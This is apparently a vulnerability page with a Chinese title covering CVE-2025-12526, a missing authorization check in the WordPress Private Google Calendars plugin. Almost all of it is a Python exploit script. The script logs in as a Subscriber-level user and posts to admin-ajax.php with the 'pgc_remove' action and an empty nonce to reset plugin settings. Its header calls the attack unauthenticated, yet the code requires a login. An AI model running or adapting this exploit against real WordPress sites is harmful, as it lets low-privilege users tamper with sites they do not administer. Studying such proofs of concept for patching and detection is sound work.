CVE-2025-12526 WordPress Private Google Calendars插件权限绕过漏洞

# CVE-2025-12526 PoC - Private Google Calendars Unauthenticated Settings Reset # This PoC demonstrates the missing authorization check vulnerability import requests import sys # Configuration target_url = "http://target-wordpress-site.com" username = "attacker_subscriber" # Low-privilege WordPress account password = "password123" def exploit_cve_2025_12526(): """ Exploits CVE-2025-12526: Missing authorization check in pgc_remove action Allows authenticated users with Subscriber role to reset plugin settings """ session = requests.Session() # Step 1: Login to WordPress as low-privilege user login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } print("[*] Attempting to login as low-privilege user...") response = session.post(login_url, data=login_data, cookies=session.cookies) if "wordpress_logged_in" not in str(session.cookies) and "invalid" in response.text.lower(): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Exploit the vulnerability via AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Construct exploit payload - missing capability check allows any authenticated user exploit_data = { "action": "pgc_remove", # The vulnerable action "nonce": "", # No nonce required due to missing check "id": "0" # Target ID to remove/reset } print("[*] Sending exploit request to AJAX endpoint...") response = session.post(ajax_url, data=exploit_data) # Step 3: Verify if settings were reset if response.status_code == 200: if "1" in response.text or "success" in response.text.lower(): print("[+] VULNERABLE! Plugin settings have been reset successfully!") print("[*] The pgc_remove action executed without proper authorization check") return True else: print("[-] Request sent but target may not be vulnerable") return False else: print(f"[-] Request failed with status code: {response.status_code}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-12526 PoC - WordPress Private Google Calendars") print("Missing Authorization in pgc_remove Action") print("=" * 60) exploit_cve_2025_12526()